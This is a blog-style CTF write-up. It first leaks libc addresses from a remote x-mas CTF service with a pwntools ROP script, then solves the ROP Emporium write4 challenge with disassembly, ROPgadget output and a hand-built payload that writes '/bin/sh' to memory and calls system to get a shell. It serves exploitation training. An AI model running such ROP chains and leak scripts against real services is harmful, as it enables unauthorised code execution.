No libc.so No problem.

x-mas CTF – Random present.

A lot of times CTF challenges provide the libc.so file that is installed on the server.

During the x-mas CTF I found out that that is not always the case.

Lets first have a look at the binary

I use pwn tools to check what type of security is used on the binary.

$ pwn checksec chall 
[*] '/home/m42d/Desktop/CTFs/xmass/random present/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

And hopper do disassemble

                                    main:
0000000000400676 55                     push       rbp                          ; Begin of unwind block (FDE at 0x4008a4), DATA XREF=_start+29
0000000000400677 4889E5                 mov        rbp, rsp
000000000040067a 4883EC20               sub        rsp, 0x20
000000000040067e BF3C000000             mov        edi, 0x3c                    ; argument "__seconds" for method j_alarm
0000000000400683 B800000000             mov        eax, 0x0
0000000000400688 E8D3FEFFFF             call       j_alarm                      ; alarm
000000000040068d 488B05AC092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400694 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400699 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040069e BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006a3 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006a6 E8D5FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006ab 488B059E092000         mov        rax, qword [stdin@@GLIBC_2.2.5] ; stdin@@GLIBC_2.2.5
00000000004006b2 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006b7 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006bc BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006c1 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006c4 E8B7FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006c9 488B0590092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
00000000004006d0 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006d5 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006da BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006df 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006e2 E899FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006e7 BFA0074000             mov        edi, aThisIsEasierTh         ; argument "__s" for method j_puts, "This is easier than you would think..."
00000000004006ec E85FFEFFFF             call       j_puts                       ; puts
00000000004006f1 BFC7074000             mov        edi, aSantaAllowedYo         ; argument "__s" for method j_puts, "Santa allowed you to ROP me!"
00000000004006f6 E855FEFFFF             call       j_puts                       ; puts
00000000004006fb 488D45E0               lea        rax, qword [rbp+var_20]
00000000004006ff 4889C7                 mov        rdi, rax                     ; argument "__str" for method j_gets
0000000000400702 B800000000             mov        eax, 0x0
0000000000400707 E864FEFFFF             call       j_gets                       ; gets
000000000040070c B800000000             mov        eax, 0x0
0000000000400711 C9                     leave

I first spend a lot of time trying to look for a solution were I din’t need a copy of the servers libc.so but with NX enabled and system not linked as external symbol. I realized that there was no way to do this.

Finding the version of libc.so

I need to figure out wat version of libc.so was loaded. I though I need to download a whole bunch of them and check were what the offsets of functions were compared to others and maybe I can figure out what version was running.

My idea seemed a little far fetched, but this was the only thing left I could think of.

While searching for a database or collection of libc.so files.I found that my idea wasn’t that far fetched at all. As I stumbled upon a git hub repository to build a libc.so offset database and a online searchable offset database at libc.blukat.me

leaking the offsets.

I made a small python script, that builds 2 ROP chains and leaks the memory addresses from the Global Offset Table.

from pwn import *
io = remote("199.247.6.180",10005)
start= 0x400590
GOT_puts =0x601018
GOT_alarm =0x601020
sym_puts = 0x00400550
pop_rdi = 0x0040077b # pop rdi; ret
r = io.recv() # flush the buffer
first rop chain to leak libc.so alarm offset and retun to beginning
p = 'A'*40+p64(pop_rdi)+p64(GOT_alarm)+p64(sym_puts)+p64(start)
io.sendline(p)
r = io.recv()
print 'alarm offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
second rop chain to leak libc.so puts offset and choke on some bytes.
p = 'A'*40+p64(pop_rdi)+p64(GOT_puts)+p64(sym_puts)+"choke on it"
io.sendline(p)
r = io.recv()
print 'puts offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
$ python leak.py
alarm offset : 0xa7efd18f45b10
puts offset : 0xa7efd18ef4c70

Now we can look up what version of libc is running on the server and find the offsets for ‘system’ and the ‘/bin/sh’ sting.

All that remains now it to write a script to build a rop chain to leak 1 address of the GOT. Calculate the base address of libc.so and send another rop chain to call system with /bin/sh as argument.

Playing with ROP part2

Write4

In part 1 I wanted to explain somethings about ROP chains.
But the challenge I took as example only needed to return to a function.

It was not so exciting but it covered the basics of overflowing and Return oriented programming.

Lets take a look at an other challenge on ROPemporium the 64 bit version of write4

Three ways to win.

write4 is a challenge I solved a couple of months ago and now reading the description on the page. I realize i solved the challenge in a way that it wasn’t intended.

Never the less, I’m going to write about solution.

Disassembly
0000000000400746 55                     push       rbp                          ; Begin of unwind block (FDE at 0x4009cc), DATA XREF=_start+29
0000000000400747 4889E5                 mov        rbp, rsp
000000000040074a 488B050F092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400751 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400756 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040075b BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
0000000000400760 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400763 E8C8FEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400768 488B0511092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
000000000040076f B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400774 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
0000000000400779 BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
000000000040077e 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400781 E8AAFEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400786 BFB8084000             mov        edi, aWrite4ByRopEmp         ; argument "__s" for method j_puts, "write4 by ROP Emporium"
000000000040078b E840FEFFFF             call       j_puts                       ; puts
0000000000400790 BFCF084000             mov        edi, a64bitsn                ; argument "__s" for method j_puts, "64bits\\n"
0000000000400795 E836FEFFFF             call       j_puts                       ; puts
000000000040079a B800000000             mov        eax, 0x0
000000000040079f E811000000             call       pwnme                        ; pwnme
00000000004007a4 BFD7084000             mov        edi, aNexiting               ; argument "__s" for method j_puts, "\\nExiting"
00000000004007a9 E822FEFFFF             call       j_puts                       ; puts
00000000004007ae B800000000             mov        eax, 0x0
00000000004007b3 5D                     pop        rbp
00000000004007b4 C3                     ret
                        ; endp


        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================

        ; Variables:
        ;    var_20: int8_t, -32


                                    pwnme:
00000000004007b5 55                     push       rbp                          ; End of unwind block (FDE at 0x4009cc), Begin of unwind block (FDE at 0x4009ec), CODE XREF=main+89
00000000004007b6 4889E5                 mov        rbp, rsp
00000000004007b9 4883EC20               sub        rsp, 0x20
00000000004007bd 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007c1 BA20000000             mov        edx, 0x20                    ; argument "__n" for method j_memset
00000000004007c6 BE00000000             mov        esi, 0x0                     ; argument "__c" for method j_memset
00000000004007cb 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_memset
00000000004007ce E82DFEFFFF             call       j_memset                     ; memset
00000000004007d3 BFE0084000             mov        edi, aGoAheadAndGive         ; argument "__s" for method j_puts, "Go ahead and give me the string already!"
00000000004007d8 E8F3FDFFFF             call       j_puts                       ; puts
00000000004007dd BF09094000             mov        edi, 0x400909                ; argument "__format" for method j_printf
00000000004007e2 B800000000             mov        eax, 0x0
00000000004007e7 E804FEFFFF             call       j_printf                     ; printf
00000000004007ec 488B157D082000         mov        rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5
00000000004007f3 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007f7 BE00020000             mov        esi, 0x200                   ; argument "__n" for method j_fgets
00000000004007fc 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_fgets
00000000004007ff E81CFEFFFF             call       j_fgets                      ; fgets
0000000000400804 90                     nop
0000000000400805 C9                     leave
0000000000400806 C3                     ret
                        ; endp


        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                                    usefulFunction:
0000000000400807 55                     push       rbp                          ; End of unwind block (FDE at 0x4009ec), Begin of unwind block (FDE at 0x400a0c)
0000000000400808 4889E5                 mov        rbp, rsp
000000000040080b BF0C094000             mov        edi, aBinls                  ; argument "__command" for method j_system, "/bin/ls"
0000000000400810 E8CBFDFFFF             call       j_system                     ; system
0000000000400815 90                     nop
0000000000400816 5D                     pop        rbp
0000000000400817 C3                     ret
                        ; endp
0000000000400818                        align      32                           ; End of unwind block (FDE at 0x400a0c)

just like in the ret2win challenge there is a pwnme function that writes more user input than the buffer can fit.
in this case 0x200 bytes to a 0x20 byte buffer.

Were to return to.

There is a function called ‘usefulFunction‘ but it will ‘ls‘ instead of ‘cat flag‘. That’s not very helpfull.

But, the call to system we can use.

go go gadget ROPchain.

We controle what is on the stack with the overflow. but we also need to controle wat is in the registers or at a certain address.

So we abuse the end of excising functions to do our dirty work.

Take a look at the end of this function.
        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                                    __libc_csu_init:
0000000000400830 4157                   push       r15                          ; Begin of unwind block (FDE at 0x400a2c), DATA XREF=_start+22
0000000000400832 4156                   push       r14
0000000000400834 4189FF                 mov        r15d, edi
0000000000400837 4155                   push       r13
0000000000400839 4154                   push       r12
000000000040083b 4C8D25CE052000         lea        r12, qword [__frame_dummy_init_array_entry] ; __frame_dummy_init_array_entry
0000000000400842 55                     push       rbp
0000000000400843 488D2DCE052000         lea        rbp, qword [__do_global_dtors_aux_fini_array_entry] ; __do_global_dtors_aux_fini_array_entry
000000000040084a 53                     push       rbx
000000000040084b 4989F6                 mov        r14, rsi
000000000040084e 4989D5                 mov        r13, rdx
0000000000400851 4C29E5                 sub        rbp, r12
0000000000400854 4883EC08               sub        rsp, 0x8
0000000000400858 48C1FD03               sar        rbp, 0x3
000000000040085c E83FFDFFFF             call       _init                        ; _init
0000000000400861 4885ED                 test       rbp, rbp
0000000000400864 7420                   je         loc_400886

0000000000400866 31DB                   xor        ebx, ebx
0000000000400868 0F1F840000000000       nop        dword [rax+rax]

                                    loc_400870:
0000000000400870 4C89EA                 mov        rdx, r13                     ; CODE XREF=__libc_csu_init+84
0000000000400873 4C89F6                 mov        rsi, r14
0000000000400876 4489FF                 mov        edi, r15d
0000000000400879 41FF14DC               call       qword [r12+rbx*8]
000000000040087d 4883C301               add        rbx, 0x1
0000000000400881 4839EB                 cmp        rbx, rbp
0000000000400884 75EA                   jne        loc_400870

                                    loc_400886:
0000000000400886 4883C408               add        rsp, 0x8                     ; CODE XREF=__libc_csu_init+52
000000000040088a 5B                     pop        rbx
000000000040088b 5D                     pop        rbp
000000000040088c 415C                   pop        r12
000000000040088e 415D                   pop        r13
0000000000400890 415E                   pop        r14
0000000000400892 415F                   pop        r15
0000000000400894 C3                     ret

Do you see al these lovely little pops followed by a ret . That is what we call a gadget.

Finding ROPgadgets the easy way

you could go trough the disassembly by hand, but there is a good change you will mis something valuable. since some multi byte opcodes hide a other opcode within them.

And lucky for us there are nice tools available like ROPgadget that can scan a binary and outputs a nice list of all the gadgets hiding in the program.

$ ROPgadget --binary write4 
Gadgets information
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040089f : add bl, dh ; ret
0x000000000040089d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040089b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040081b : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x000000000040081c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040081d : add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040081e : add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089e : add byte ptr [rax], al ; ret
0x000000000040081f : add byte ptr [rbp - 0x77], cl ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20096e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400879 : call qword ptr [r12 + rbx8] 0x0000000000400a13 : call qword ptr [rcx] 0x000000000040087a : call qword ptr [rsp + rbx8]
0x000000000040073e : call rax
0x000000000040093b : call rsp
0x000000000040087c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601060 ; jmp rax
0x0000000000400877 : mov edi, edi ; call qword ptr [r12 + rbx8] 0x0000000000400876 : mov edi, r15d ; call qword ptr [r12 + rbx8]
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400898 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601060 ; jmp rax
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x00000000004008a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004008a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040081a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax
Unique gadgets found: 71
We have our gadgets, now what?

Lets think about wat we want to do here
I want to pop a shell.

so I need system() to execute ‘/bin/sh’. for that to happen i need a memory address containing the string ‘/bin/sh’ needs to be loaded into the rdi register before calling system()

Since the binary doesn’t contain the string ‘/bin/sh’ this means I have to place it some were myself I can however write it to the stack but with ASLR enabled the stack is somewhere else on every execution.

Borrowing a memory

I use rabin2 to get a overview of the sectors and its permissions.

$ rabin2 -S write4 
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00000238 28 0x00400238 28 -r-- .interp
02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag
03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id
04 0x00000298 48 0x00400298 48 -r-- .gnu.hash
05 0x000002c8 288 0x004002c8 288 -r-- .dynsym
06 0x000003e8 116 0x004003e8 116 -r-- .dynstr
07 0x0000045c 24 0x0040045c 24 -r-- .gnu.version
08 0x00000478 32 0x00400478 32 -r-- .gnu.version_r
09 0x00000498 96 0x00400498 96 -r-- .rela.dyn
10 0x000004f8 168 0x004004f8 168 -r-- .rela.plt
11 0x000005a0 26 0x004005a0 26 -r-x .init
12 0x000005c0 128 0x004005c0 128 -r-x .plt
13 0x00000640 8 0x00400640 8 -r-x .plt.got
14 0x00000650 594 0x00400650 594 -r-x .text
15 0x000008a4 9 0x004008a4 9 -r-x .fini
16 0x000008b0 100 0x004008b0 100 -r-- .rodata
17 0x00000914 68 0x00400914 68 -r-- .eh_frame_hdr
18 0x00000958 308 0x00400958 308 -r-- .eh_frame
19 0x00000e10 8 0x00600e10 8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss
27 0x00001060 52 0x00000000 52 ---- .comment
28 0x00001ae2 268 0x00000000 268 ---- .shstrtab
29 0x00001098 1896 0x00000000 1896 ---- .symtab
30 0x00001800 738 0x00000000 738 ---- .strtab

at 0x00601050 there is chunk or memory I have write permission to and will hold probably hold nothing of value to me.

So i will use this to write ‘/bin/sh’ to.

Buiding the ROPchain

I want the stack to look like.

 0x400890 # pop r14; pop r15; ret
0x601050 # our borrowed memory address
/bin/sh/
0x400820 # mov qword [r14], r15; ret
0x400893 # pop rdi; ret
0x601050 # our borrowed memory address
0x400810 # call system

So I make a small python script to print out the payload.

payload =  "A"*40 +\
"\x90\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"/bin/sh\x00" \
"\x20\x08\x40\x00\x00\x00\x00\x00" \
"\x93\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"\x10\x08\x40\x00\x00\x00\x00\x00"
print payload

I would normally use p64() from pwn lib, but for the sake of example I’m doing it the hard way today.

Time to POP a shell

now to pop a shell I first write my payload to a file

$ python rop.py > payload

Then I cat the payload file and pipe to 4write

$ cat payload - | ./4write

I use the ‘-‘ argument to make it output the stdin after it outputs the contents of our payload file. this way we get a nice little shell.

$ cat payload - | ./write4
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
cat flag.txt
ROPE{a_placeholder_32byte_flag!}